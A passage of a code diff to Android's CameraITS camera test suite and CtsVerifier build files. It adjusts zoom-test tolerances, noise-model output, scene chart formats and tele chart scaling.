+++ b/apps/CameraITS/tests/scene6/test_zoom.py
@@ -34,14 +34,72 @@
 LINE_THICKNESS = 5
 MIN_AREA_RATIO = 0.00015  # based on 2000/(4000x3000) pixels
 MIN_CIRCLE_PTS = 25
+MIN_FOCUS_DIST_TOL = 0.80  # allow charts a little closer than min
 NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_STEPS = 10
 OFFSET_RTOL = 0.15
 RADIUS_RTOL = 0.10
+RADIUS_RTOL_MIN_FD = 0.15
 ZOOM_MAX_THRESH = 10.0
 ZOOM_MIN_THRESH = 2.0
 
 
+def get_test_tols_and_cap_size(cam, props, chart_distance, debug):
+  """Determine the tolerance per camera based on test rig and camera params.
+
+  Cameras are pre-filtered to only include supportable cameras.
+  Supportable cameras are: YUV(RGB)
+
+  Args:
+    cam: camera object
+    props: dict; physical camera properties dictionary
+    chart_distance: float; distance to chart in cm
+    debug: boolean; log additional data
+
+  Returns:
+    dict of TOLs with camera focal length as key
+    largest common size across all cameras
+  """
+  ids = camera_properties_utils.logical_multi_camera_physical_ids(props)
+  physical_props = {}
+  physical_ids = []
+  for i in ids:
+    physical_props[i] = cam.get_camera_properties_by_id(i)
+    # find YUV capable physical cameras
+    if camera_properties_utils.backward_compatible(physical_props[i]):
+      physical_ids.append(i)
+
+  # find physical camera focal lengths that work well with rig
+  chart_distance_m = abs(chart_distance)/100  # convert CM to M
+  test_tols = {}
+  test_yuv_sizes = []
+  for i in physical_ids:
+    min_fd = physical_props[i]['android.lens.info.minimumFocusDistance']
+    focal_l = physical_props[i]['android.lens.info.availableFocalLengths'][0]
+    logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f',
+                  i, min_fd, focal_l)
+    yuv_sizes = capture_request_utils.get_available_output_sizes(
+        'yuv', physical_props[i])
+    test_yuv_sizes.append(yuv_sizes)
+    if debug:
+      logging.debug('cam[%s] yuv sizes: %s', i, str(yuv_sizes))
+
+    # determine if minimum focus distance is less than rig depth
+    if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or  # fixed focus
+        1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL):
+      test_tols[focal_l] = RADIUS_RTOL
+    else:
+      test_tols[focal_l] = RADIUS_RTOL_MIN_FD
+      logging.debug('loosening RTOL for cam[%s]: '
+                    'min focus distance too large.', i)
+  # find intersection of formats for max common format
+  common_sizes = list(set.intersection(*[set(list) for list in test_yuv_sizes]))
+  if debug:
+    logging.debug('common_fmt: %s', max(common_sizes))
+
+  return test_tols, max(common_sizes)
+
+
 def distance(x, y):
   return math.sqrt(x**2 + y**2)
 
@@ -143,9 +201,7 @@
   """
 
   def test_zoom(self):
-    z_test_list = []
-    fls = []
-    circles = []
+    test_data = {}
     with its_session_utils.ItsSession(
         device_id=self.dut.serial,
         camera_id=self.camera_id,
@@ -161,8 +217,6 @@
 
       z_range = props['android.control.zoomRatioRange']
       logging.debug('testing zoomRatioRange: %s', str(z_range))
-      yuv_size = capture_request_utils.get_largest_yuv_format(props)
-      size = [yuv_size['width'], yuv_size['height']]
       debug = self.debug_mode
 
       z_min, z_max = float(z_range[0]), float(z_range[1])
@@ -170,19 +224,37 @@
       z_list = np.arange(z_min, z_max, float(z_max - z_min) / (NUM_STEPS - 1))
       z_list = np.append(z_list, z_max)
 
+      # set TOLs based on camera and test rig params
+      if camera_properties_utils.logical_multi_camera(props):
+        test_tols, size = get_test_tols_and_cap_size(
+            cam, props, self.chart_distance, debug)
+      else:
+        fl = props['android.lens.info.availableFocalLengths'][0]
+        test_tols = {fl: RADIUS_RTOL}
+        yuv_size = capture_request_utils.get_largest_yuv_format(props)
+        size = [yuv_size['width'], yuv_size['height']]
+      logging.debug('capture size: %s', str(size))
+      logging.debug('test TOLs: %s', str(test_tols))
+
       # do captures over zoom range and find circles with cv2
       logging.debug('cv2_version: %s', cv2.__version__)
+      cam.do_3a()
       req = capture_request_utils.auto_capture_request()
       for i, z in enumerate(z_list):
         logging.debug('zoom ratio: %.2f', z)
         req['android.control.zoomRatio'] = z
-        cap = cam.do_capture(req, cam.CAP_YUV)
+        cap = cam.do_capture(
+            req, {'format': 'yuv', 'width': size[0], 'height': size[1]})
         img = image_processing_utils.convert_capture_to_rgb_image(
             cap, props=props)
         img_name = '%s_%s.jpg' % (os.path.join(self.log_path,
                                                NAME), round(z, 2))
         image_processing_utils.write_image(img, img_name)
 
+        # determine radius tolerance of capture
+        cap_fl = cap['metadata']['android.lens.focalLength']
+        radius_tol = test_tols[cap_fl]
+
         # convert to [0, 255] images with unsigned integer
         img *= 255
         img = img.astype(np.uint8)
@@ -195,49 +267,52 @@
         if circle_cropped(circle, size):
           logging.debug('zoom %.2f is too large! Skip further captures', z)
           break
-        circles.append(circle)
-        z_test_list.append(z)
-        fls.append(cap['metadata']['android.lens.focalLength'])
+        test_data[i] = {'z': z, 'circle': circle, 'r_tol': radius_tol,
+                        'fl': cap_fl}
 
     # assert some range is tested before circles get too big
     zoom_max_thresh = ZOOM_MAX_THRESH
     if z_max < ZOOM_MAX_THRESH:
       zoom_max_thresh = z_max
-    if z_test_list[-1] < zoom_max_thresh:
-      raise AssertionError(f'Max zoom level tested: {z_test_list[-1]}, '
+    test_data_max_z = test_data[max(test_data.keys())]['z']
+    logging.debug('zoom data max: %.2f', test_data_max_z)
+    if test_data_max_z < zoom_max_thresh:
+      raise AssertionError(f'Max zoom ratio tested: {test_data_max_z:.4f}, '
+                           f'range advertised min: {z_min}, max: {z_max} '
                            f'THRESH: {zoom_max_thresh}')
 
     # initialize relative size w/ zoom[0] for diff zoom ratio checks
-    radius_0 = float(circles[0][2])
-    z_0 = float(z_test_list[0])
+    radius_0 = float(test_data[0]['circle'][2])
+    z_0 = float(test_data[0]['z'])
 
-    for i, z in enumerate(z_test_list):
-      logging.debug('Zoom: %.2f, fl: %.2f', z, fls[i])
-      offset_abs = [(circles[i][0] - size[0] // 2),
-                    (circles[i][1] - size[1] // 2)]
-      logging.debug('Circle r: %.1f, center offset x, y: %d, %d', circles[i][2],
-                    offset_abs[0], offset_abs[1])
-      z_ratio = z / z_0
+    for i, data in test_data.items():
+      logging.debug('Zoom: %.2f, fl: %.2f', data['z'], data['fl'])
+      offset_abs = [(data['circle'][0] - size[0] // 2),
+                    (data['circle'][1] - size[1] // 2)]
+      logging.debug('Circle r: %.1f, center offset x, y: %d, %d',
+                    data['circle'][2], offset_abs[0], offset_abs[1])
+      z_ratio = data['z'] / z_0
 
       # check relative size against zoom[0]
-      radius_ratio = circles[i][2] / radius_0
+      radius_ratio = data['circle'][2] / radius_0
       logging.debug('r ratio req: %.3f, measured: %.3f', z_ratio, radius_ratio)
-      if not np.isclose(z_ratio, radius_ratio, rtol=RADIUS_RTOL):
+      if not math.isclose(z_ratio, radius_ratio, rel_tol=data['r_tol']):
         raise AssertionError(f'zoom: {z_ratio:.2f}, radius ratio: '
-                             f'{radius_ratio:.2f}, RTOL: {RADIUS_RTOL}')
+                             f"{radius_ratio:.2f}, RTOL: {data['r_tol']}")
 
       # check relative offset against init vals w/ no focal length change
-      if i == 0 or fls[i - 1] != fls[i]:  # set init values
-        z_init = float(z_test_list[i])
-        offset_init = [circles[i][0] - size[0]//2, circles[i][1] - size[1]//2]
+      if i == 0 or test_data[i-1]['fl'] != data['fl']:  # set init values
+        z_init = float(data['z'])
+        offset_init = [data['circle'][0] - size[0]//2,
+                       data['circle'][1] - size[1]//2]
       else:  # check
-        z_ratio = z / z_init
+        z_ratio = data['z'] / z_init
         offset_rel = (distance(offset_abs[0], offset_abs[1]) / z_ratio /
                       distance(offset_init[0], offset_init[1]))
         logging.debug('offset_rel: %.3f', offset_rel)
-        if not np.isclose(offset_rel, 1.0, rtol=OFFSET_RTOL):
-          raise AssertionError(f'zoom: {z:.2f}, offset(rel): {offset_rel:.4f}, '
-                               f'RTOL: {OFFSET_RTOL}')
+        if not math.isclose(offset_rel, 1.0, rel_tol=OFFSET_RTOL):
+          raise AssertionError(f"zoom: {data['z']:.2f}, offset(rel): "
+                               f'{offset_rel:.4f}, RTOL: {OFFSET_RTOL}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene_change/scene_change.pdf b/apps/CameraITS/tests/scene_change/scene_change.pdf
deleted file mode 100644
index a5786d6..0000000
--- a/apps/CameraITS/tests/scene_change/scene_change.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene_change/scene_change.png b/apps/CameraITS/tests/scene_change/scene_change.png
new file mode 100644
index 0000000..b9554b3
--- /dev/null
+++ b/apps/CameraITS/tests/scene_change/scene_change.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene_change/scene_change_0.5x_scaled.pdf b/apps/CameraITS/tests/scene_change/scene_change_0.5x_scaled.pdf
deleted file mode 100644
index ca92a4e..0000000
--- a/apps/CameraITS/tests/scene_change/scene_change_0.5x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene_change/scene_change_0.5x_scaled.png b/apps/CameraITS/tests/scene_change/scene_change_0.5x_scaled.png
new file mode 100644
index 0000000..92e3444
--- /dev/null
+++ b/apps/CameraITS/tests/scene_change/scene_change_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene_change/scene_change_0.67x_scaled.pdf b/apps/CameraITS/tests/scene_change/scene_change_0.67x_scaled.pdf
deleted file mode 100644
index eca9d3e..0000000
--- a/apps/CameraITS/tests/scene_change/scene_change_0.67x_scaled.pdf
+++ /dev/null
Binary files differ
diff --git a/apps/CameraITS/tests/scene_change/scene_change_0.67x_scaled.png b/apps/CameraITS/tests/scene_change/scene_change_0.67x_scaled.png
new file mode 100644
index 0000000..d8cca5c
--- /dev/null
+++ b/apps/CameraITS/tests/scene_change/scene_change_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tools/dng_noise_model.py b/apps/CameraITS/tools/dng_noise_model.py
index a70ef8f..080c4e1 100644
--- a/apps/CameraITS/tools/dng_noise_model.py
+++ b/apps/CameraITS/tools/dng_noise_model.py
@@ -111,6 +111,38 @@
   text_file.write('%s' % code)
   text_file.close()
 
+  # Creates the noise profile C++ file
+  code = textwrap.dedent(f"""\
+          /* noise_profile.cc
+             Note: gradient_slope --> gradient of API slope parameter
+                   offset_slope --> offset of API slope parameter
+                   gradient_intercept--> gradient of API intercept parameter
+                   offset_intercept --> offset of API intercept parameter
+             Note: SENSOR_NOISE_PROFILE in Android Developers doc uses
+                   N(x) = sqrt(Sx + O), where 'S' is 'slope' & 'O' is 'intercept'
+          */
+          .noise_profile =
+              {{.noise_coefficients_r = {{.gradient_slope = {noise_model_a[0]},
+                                        .offset_slope = {noise_model_b[0]},
+                                        .gradient_intercept = {noise_model_c[0]},
+                                        .offset_intercept = {noise_model_d[0]}}},
+               .noise_coefficients_gr = {{.gradient_slope = {noise_model_a[1]},
+                                         .offset_slope = {noise_model_b[1]},
+                                         .gradient_intercept = {noise_model_c[1]},
+                                         .offset_intercept = {noise_model_d[1]}}},
+               .noise_coefficients_gb = {{.gradient_slope = {noise_model_a[2]},
+                                         .offset_slope = {noise_model_b[2]},
+                                         .gradient_intercept = {noise_model_c[2]},
+                                         .offset_intercept = {noise_model_d[2]}}},
+               .noise_coefficients_b = {{.gradient_slope = {noise_model_a[3]},
+                                        .offset_slope = {noise_model_b[3]},
+                                        .gradient_intercept = {noise_model_c[3]},
+                                        .offset_intercept = {noise_model_d[3]}}}}},
+          """)
+  text_file = open(os.path.join(log_path, 'noise_profile.cc'), 'w')
+  text_file.write('%s' % code)
+  text_file.close()
+
 
 class DngNoiseModel(its_base_test.ItsBaseTest):
   """Create DNG noise model.
@@ -279,17 +311,17 @@
         iso *= math.pow(2, 1.0/_STEPS_PER_STOP)
 
     # Do model plots
-    (fig, (plt_slope, plt_intercept)) = plt.subplots(2, 1, figsize=(11, 8.5))
-    plt_slope.set_title('Noise model')
-    plt_slope.set_ylabel('Slope')
-    plt_intercept.set_xlabel('ISO')
-    plt_intercept.set_ylabel('Intercept')
+    (fig, (plt_s, plt_o)) = plt.subplots(2, 1, figsize=(11, 8.5))
+    plt_s.set_title('Noise model: N(x) = sqrt(Sx + O)')
+    plt_s.set_ylabel('S')
+    plt_o.set_xlabel('ISO')
+    plt_o.set_ylabel('O')
 
     noise_model = []
     for (pidx, p) in enumerate(measured_models):
       # Grab the sensitivities and line parameters from each sensitivity.
-      slp_measured = [e[1] for e in measured_models[pidx]]
-      int_measured = [e[2] for e in measured_models[pidx]]
+      s_measured = [e[1] for e in measured_models[pidx]]
+      o_measured = [e[2] for e in measured_models[pidx]]
       sens = np.asarray([e[0] for e in measured_models[pidx]])
       sens_sq = np.square(sens)
 
@@ -314,30 +346,34 @@
       # Divide the whole system by gains*means.
       f = lambda x, a, b, c, d: (c*(x[0]**2)+d+(x[1])*a*x[0]+(x[1])*b)/(x[0])
       result, _ = scipy.optimize.curve_fit(f, (gains, means), vars_/(gains))
-
-      a_p, b_p, c_p, d_p = result[0:4]
+      # result[0:4] = s_gradient, s_offset, o_gradient, o_offset
+      # Note 'S' and 'O' are the API terms for the 2 model params.
+      # The noise_profile.cc uses 'slope' for 'S' and 'intercept' for 'O'.
+      # 'gradient' and 'offset' are used to describe the linear fit
+      # parameters for 'S' and 'O'.
       noise_model.append(result[0:4])
 
       # Plot noise model components with the values predicted by the model.
-      slp_model = result[0]*sens + result[1]
-      int_model = result[2]*sens_sq + result[3]*np.square(np.maximum(
+      s_model = result[0]*sens + result[1]
+      o_model = result[2]*sens_sq + result[3]*np.square(np.maximum(
           sens/sens_max_analog, 1))
 
-      plt_slope.loglog(sens, slp_measured, 'rgkb'[pidx]+'+', base=10,
-                       label='Measured')
-      plt_slope.loglog(sens, slp_model, 'rgkb'[pidx]+'o', base=10,
-                       label='Model', alpha=0.3)
-      plt_intercept.loglog(sens, int_measured, 'rgkb'[pidx]+'+', base=10,
-                           label='Measured')
-      plt_intercept.loglog(sens, int_model, 'rgkb'[pidx]+'o', base=10,
-                           label='Model', alpha=0.3)
-    plt_slope.legend()
-    plt_slope.set_xticks(isos)
-    plt_slope.set_xticklabels(isos)
+      plt_s.loglog(sens, s_measured, 'rgkb'[pidx]+'+', base=10,
+                   label='Measured')
+      plt_s.loglog(sens, s_model, 'rgkb'[pidx]+'o', base=10,
+                   label='Model', alpha=0.3)
+      plt_o.loglog(sens, o_measured, 'rgkb'[pidx]+'+', base=10,
+                   label='Measured')
+      plt_o.loglog(sens, o_model, 'rgkb'[pidx]+'o', base=10,
+                   label='Model', alpha=0.3)
+    plt_s.legend()
+    plt_s.set_xticks(isos)
+    plt_s.set_xticklabels(isos)
 
-    plt_intercept.set_xticks(isos)
-    plt_intercept.set_xticklabels(isos)
-    plt_intercept.legend()
+    plt_o.set_xticks([])
+    plt_o.set_xticks(isos)
+    plt_o.set_xticklabels(isos)
+    plt_o.legend()
     fig.savefig(f'{name_with_log_path}.png')
 
     # Generate individual noise model components
@@ -345,30 +381,29 @@
         *noise_model)
 
     # Add models to subplots and re-save
-    for [s, fig] in plots:  # re-step through figs...
-      dig_gain = max(s/sens_max_analog, 1)
+    for [iso, fig] in plots:  # re-step through figs...
+      dig_gain = max(iso/sens_max_analog, 1)
       fig.gca()
       for (pidx, p) in enumerate(measured_models):
-        slope = noise_model_a[pidx]*s + noise_model_b[pidx]
-        intercept = noise_model_c[pidx]*s**2 + noise_model_d[pidx]*dig_gain**2
-        color_plane_plots[s][pidx].plot(
-            [0, _MAX_SIGNAL_VALUE],
-            [intercept, intercept+slope*_MAX_SIGNAL_VALUE],
+        s = noise_model_a[pidx]*iso + noise_model_b[pidx]
+        o = noise_model_c[pidx]*iso**2 + noise_model_d[pidx]*dig_gain**2
+        color_plane_plots[iso][pidx].plot(
+            [0, _MAX_SIGNAL_VALUE], [o, o+s*_MAX_SIGNAL_VALUE],
             'rgkb'[pidx]+'-', label='Model', alpha=0.5)
-        color_plane_plots[s][pidx].legend(loc='upper left')
-      fig.savefig(f'{name_with_log_path}_samples_iso{s:04d}.png')
+        color_plane_plots[iso][pidx].legend(loc='upper left')
+      fig.savefig(f'{name_with_log_path}_samples_iso{iso:04d}.png')
 
-    # Validity checks on model: read noise > 0, positive slope.
+    # Validity checks on model: read noise > 0, positive intercept gradient.
     for i, _ in enumerate(_BAYER_LIST):
       read_noise = noise_model_c[i] * sens_min * sens_min + noise_model_d[i]
       if read_noise <= 0:
         raise AssertionError(f'{_BAYER_LIST[i]} model min ISO noise < 0! '
-                             f'C: {noise_model_c[i]:.4e}, '
-                             f'D: {noise_model_d[i]:.4e}, '
+                             f'API intercept gradient: {noise_model_c[i]:.4e}, '
+                             f'API intercept offset: {noise_model_d[i]:.4e}, '
                              f'read_noise: {read_noise:.4e}')
       if noise_model_c[i] <= 0:
-        raise AssertionError(f'{_BAYER_LIST[i]} model slope is negative. '
-                             f' slope={noise_model_c[i]:.4e}')
+        raise AssertionError(f'{_BAYER_LIST[i]} model API intercept gradient '
+                             f'is negative: {noise_model_c[i]:.4e}')
 
     # Generate the noise model file.
     create_noise_model_code(
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 2095f0f..d5d3b06 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -79,49 +79,29 @@
 # Scenes that have to be run manually regardless of configuration
 _MANUAL_SCENES = ['scene5']
 
-# Tests run in more than 1 scene.
-# List is created of type ['scene_source', 'test_to_be_repeated']
-# for the test run in current scene.
-_REPEATED_TESTS = {
-    'scene0': [],
-    'scene1_1': [],
-    'scene1_2': [],
-    'scene2_a': [],
-    'scene2_b': [['scene2_a', 'test_num_faces']],
-    'scene2_c': [['scene2_a', 'test_num_faces']],
-    'scene2_d': [['scene2_a', 'test_num_faces']],
-    'scene2_e': [['scene2_a', 'test_num_faces']],
-    'scene3': [],
-    'scene4': [],
-    'scene5': [],
-    'scene6': [],
-    'sensor_fusion': [],
-    'scene_change': []
-}
-
 # Scene requirements for manual testing.
 _SCENE_REQ = {
     'scene0': None,
     'scene1_1': 'A grey card covering at least the middle 30% of the scene',
     'scene1_2': 'A grey card covering at least the middle 30% of the scene',
-    'scene2_a': 'The picture with 3 faces in tests/scene2_a/scene2_a.pdf',
-    'scene2_b': 'The picture with 3 faces in tests/scene2_b/scene2_b.pdf',
-    'scene2_c': 'The picture with 3 faces in tests/scene2_c/scene2_c.pdf',
-    'scene2_d': 'The picture with 3 faces in tests/scene2_d/scene2_d.pdf',
-    'scene2_e': 'The picture with 3 faces in tests/scene2_e/scene2_e.pdf',
+    'scene2_a': 'The picture with 3 faces in tests/scene2_a/scene2_a.png',
+    'scene2_b': 'The picture with 3 faces in tests/scene2_b/scene2_b.png',
+    'scene2_c': 'The picture with 3 faces in tests/scene2_c/scene2_c.png',
+    'scene2_d': 'The picture with 3 faces in tests/scene2_d/scene2_d.png',
+    'scene2_e': 'The picture with 3 faces in tests/scene2_e/scene2_e.png',
     'scene3': 'The ISO12233 chart',
     'scene4': 'A test chart of a circle covering at least the middle 50% of '
-              'the scene. See tests/scene4/scene4.pdf',
+              'the scene. See tests/scene4/scene4.png',
     'scene5': 'Capture images with a diffuser attached to the camera. '
               'See CameraITS.pdf section 2.3.4 for more details',
     'scene6': 'A grid of black circles on a white background. '
-              'See tests/scene6/scene6.pdf',
+              'See tests/scene6/scene6.png',
     'sensor_fusion': 'A checkerboard pattern for phone to rotate in front of '
                      'in tests/sensor_fusion/checkerboard.pdf\n'
                      'See tests/sensor_fusion/SensorFusion.pdf for detailed '
                      'instructions.\nNote that this test will be skipped '
                      'on devices not supporting REALTIME camera timestamp.',
-    'scene_change': 'The picture with 3 faces in tests/scene2_e/scene2_e.pdf',
+    'scene_change': 'The picture with 3 faces in tests/scene2_e/scene2_e.png',
 }
 
 
@@ -216,7 +196,7 @@
   scene_dir = os.listdir(
       os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', scene))
   for file_name in scene_dir:
-    if file_name.endswith('.pdf'):
+    if file_name.endswith('.png'):
       src_scene_file = os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests',
                                     scene, file_name)
       cmd = f'adb -s {tablet_id} push {src_scene_file} {_DST_SCENE_DIR}'
@@ -506,9 +486,6 @@
         for file_name in scene_dir:
           if file_name.endswith('.py') and 'test' in file_name:
             scene_test_list.append(file_name)
-        if _REPEATED_TESTS[s]:
-          for t in _REPEATED_TESTS[s]:
-            scene_test_list.append((os.path.join('tests', t[0], t[1] + '.py')))
       else:  # sub-camera
         if SUB_CAMERA_TESTS.get(s):
           scene_test_list = [f'{test}.py' for test in SUB_CAMERA_TESTS[s]]
@@ -626,5 +603,9 @@
 
   logging.info('Test execution completed.')
 
+  # Power down tablet
+  cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
+  subprocess.Popen(cmd.split())
+
 if __name__ == '__main__':
   main()
diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py
index ea393d7..117ba21 100644
--- a/apps/CameraITS/utils/camera_properties_utils.py
+++ b/apps/CameraITS/utils/camera_properties_utils.py
@@ -736,7 +736,9 @@
   Returns:
     Boolean. True if android.control.postRawSensitivityBoost is supported.
   """
-  return props.get('android.control.postRawSensitivityBoostRange') != [100, 100]
+  return (
+      'android.control.postRawSensitivityBoostRange' in props.keys() and
+      props.get('android.control.postRawSensitivityBoostRange') != [100, 100])
 
 
 def sensor_fusion_capable(props):
@@ -822,6 +824,20 @@
       'android.sensor.availableTestPatternModes')
 
 
+def linear_tonemap(props):
+  """Determines if camera supports CONTRAST_CURVE or GAMMA_VALUE in tonemap.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if android.tonemap.availableToneMapModes has
+             CONTRAST_CURVE (0) or GAMMA_VALUE (3).
+  """
+  return (0 in props.get('android.tonemap.availableToneMapModes') or
+          3 in props.get('android.tonemap.availableToneMapModes'))
+
+
 if __name__ == '__main__':
   unittest.main()
 
diff --git a/apps/CameraITS/utils/capture_request_utils.py b/apps/CameraITS/utils/capture_request_utils.py
index 3855440..4d0ea32 100644
--- a/apps/CameraITS/utils/capture_request_utils.py
+++ b/apps/CameraITS/utils/capture_request_utils.py
@@ -18,17 +18,46 @@
 import unittest
 
 
-def auto_capture_request():
-  """Returns a capture request with everything set to auto."""
-  return {
+def auto_capture_request(linear_tonemap=False, props=None):
+  """Returns a capture request with everything set to auto.
+
+  Args:
+   linear_tonemap: [Optional] boolean whether linear tonemap should be used.
+   props: [Optional] object from its_session_utils.get_camera_properties().
+          Must present when linear_tonemap is True.
+
+  Returns:
+    Auto capture request, ready to be passed to the
+    its_session_utils.device.do_capture()
+  """
+  req = {
       'android.control.mode': 1,
       'android.control.aeMode': 1,
       'android.control.awbMode': 1,
       'android.control.afMode': 1,
       'android.colorCorrection.mode': 1,
       'android.tonemap.mode': 1,
-      'android.lens.opticalStabilizationMode': 0
+      'android.lens.opticalStabilizationMode': 0,
+      'android.control.videoStabilizationMode': 0
   }
+  if linear_tonemap:
+    if props is None:
+      raise AssertionError('props is None with linear_tonemap.')
+    # CONTRAST_CURVE mode
+    if 0 in props['android.tonemap.availableToneMapModes']:
+      req['android.tonemap.mode'] = 0
+      req['android.tonemap.curve'] = {
+          'red': [0.0, 0.0, 1.0, 1.0],  # coordinate pairs: x0, y0, x1, y1
+          'green': [0.0, 0.0, 1.0, 1.0],
+          'blue': [0.0, 0.0, 1.0, 1.0]
+      }
+    # GAMMA_VALUE mode
+    elif 3 in props['android.tonemap.availableToneMapModes']:
+      req['android.tonemap.mode'] = 3
+      req['android.tonemap.gamma'] = 1.0
+    else:
+      raise AssertionError('Linear tonemap is not supported')
+  return req
 
 
 def manual_capture_request(sensitivity,
@@ -48,7 +77,7 @@
    linear_tonemap: [Optional] whether a linear tonemap should be used in this
      request.
    props: [Optional] the object returned from
-     its_session_utils.get_camera_properties().Must present when linear_tonemap
+     its_session_utils.get_camera_properties(). Must present when linear_tonemap
      is True.
 
   Returns:
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4cd9e2d..4c47388 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -1010,18 +1010,36 @@
         chart_distance, camera_fov)
     if numpy.isclose(
         chart_scaling,
+        opencv_processing_utils.SCALE_RFOV_IN_WFOV_BOX,
+        atol=0.01):
+      file_name = '%s_%sx_scaled.png' % (
+          scene, str(opencv_processing_utils.SCALE_RFOV_IN_WFOV_BOX))
+    elif numpy.isclose(
+        chart_scaling,
         opencv_processing_utils.SCALE_TELE_IN_WFOV_BOX,
         atol=0.01):
-      file_name = '%s_%sx_scaled.pdf' % (
+      file_name = '%s_%sx_scaled.png' % (
           scene, str(opencv_processing_utils.SCALE_TELE_IN_WFOV_BOX))
     elif numpy.isclose(
         chart_scaling,
-        opencv_processing_utils.SCALE_RFOV_IN_WFOV_BOX,
+        opencv_processing_utils.SCALE_TELE25_IN_RFOV_BOX,
         atol=0.01):
-      file_name = '%s_%sx_scaled.pdf' % (
-          scene, str(opencv_processing_utils.SCALE_RFOV_IN_WFOV_BOX))
+      file_name = '%s_%sx_scaled.png' % (
+          scene, str(opencv_processing_utils.SCALE_TELE25_IN_RFOV_BOX))
+    elif numpy.isclose(
+        chart_scaling,
+        opencv_processing_utils.SCALE_TELE40_IN_RFOV_BOX,
+        atol=0.01):
+      file_name = '%s_%sx_scaled.png' % (
+          scene, str(opencv_processing_utils.SCALE_TELE40_IN_RFOV_BOX))
+    elif numpy.isclose(
+        chart_scaling,
+        opencv_processing_utils.SCALE_TELE_IN_RFOV_BOX,
+        atol=0.01):
+      file_name = '%s_%sx_scaled.png' % (
+          scene, str(opencv_processing_utils.SCALE_TELE_IN_RFOV_BOX))
     else:
-      file_name = '%s.pdf' % scene
+      file_name = '%s.png' % scene
     logging.debug('Scene to load: %s', file_name)
     return file_name
 
@@ -1141,7 +1159,7 @@
   camera_id_combo = collections.namedtuple('CameraIdCombo', ['id', 'sub_id'])
   id_combos = []
   for one_id in ids:
-    one_combo = one_id.split(':')
+    one_combo = one_id.split(SUB_CAMERA_SEPARATOR)
     if len(one_combo) == 1:
       id_combos.append(camera_id_combo(one_combo[0], None))
     elif len(one_combo) == 2:
@@ -1196,7 +1214,7 @@
   logging.debug('Displaying %s on the tablet', file_name)
   # Display the scene on the tablet depending on camera_fov
   tablet.adb.shell(
-      'am start -a android.intent.action.VIEW -t application/pdf '
+      'am start -a android.intent.action.VIEW -t image/png '
       f'-d file://mnt/sdcard/Download/{file_name}')
   time.sleep(LOAD_SCENE_DELAY_SEC)
   rfov_camera_in_rfov_box = (
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index b6c0521..69bad61 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -48,7 +48,8 @@
 
 CV2_RED = (255, 0, 0)  # color in cv2 to draw lines
 
-FOV_THRESH_SUPER_TELE = 40
+FOV_THRESH_TELE25 = 25
+FOV_THRESH_TELE40 = 40
 FOV_THRESH_TELE = 60
 FOV_THRESH_WFOV = 90
 
@@ -57,9 +58,10 @@
 RGB_GRAY_WEIGHTS = (0.299, 0.587, 0.114)  # RGB to Gray conversion matrix
 
 SCALE_RFOV_IN_WFOV_BOX = 0.67
-SCALE_TELE_IN_RFOV_BOX = 0.67
 SCALE_TELE_IN_WFOV_BOX = 0.5
-SCALE_SUPER_TELE_IN_RFOV_BOX = 0.5
+SCALE_TELE_IN_RFOV_BOX = 0.67
+SCALE_TELE40_IN_RFOV_BOX = 0.5
+SCALE_TELE25_IN_RFOV_BOX = 0.33
 
 SQUARE_AREA_MIN_REL = 0.05  # Minimum size for square relative to image area
 SQUARE_TOL = 0.1  # Square W vs H mismatch RTOL
@@ -96,9 +98,12 @@
   elif (camera_fov <= FOV_THRESH_TELE and
         numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
     chart_scaling = SCALE_TELE_IN_WFOV_BOX
-  elif (camera_fov <= FOV_THRESH_SUPER_TELE and
+  elif (camera_fov <= FOV_THRESH_TELE25 and
         numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
-    chart_scaling = SCALE_SUPER_TELE_IN_RFOV_BOX
+    chart_scaling = SCALE_TELE25_IN_RFOV_BOX
+  elif (camera_fov <= FOV_THRESH_TELE40 and
+        numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
+    chart_scaling = SCALE_TELE40_IN_RFOV_BOX
   elif (camera_fov <= FOV_THRESH_TELE and
         numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
     chart_scaling = SCALE_TELE_IN_RFOV_BOX
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 754d968..fb18007 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -112,8 +112,13 @@
 #	$(hide) mkdir -p $(verifier-dir)/power
 #	$(hide) $(ACP) -fp cts/apps/CtsVerifier/assets/scripts/execute_power_tests.py $@
 
+$(verifier-dir)/NOTICE.txt: cts/apps/CtsVerifier/NOTICE.txt | $(ACP)
+	$(hide) $(ACP) -fp cts/apps/CtsVerifier/NOTICE.txt $@
+
 cts : $(verifier-zip)
+CtsVerifier : $(verifier-zip)
 $(verifier-zip) : $(HOST_OUT)/CameraITS/build_stamp
+$(verifier-zip) : $(verifier-dir)/NOTICE.txt
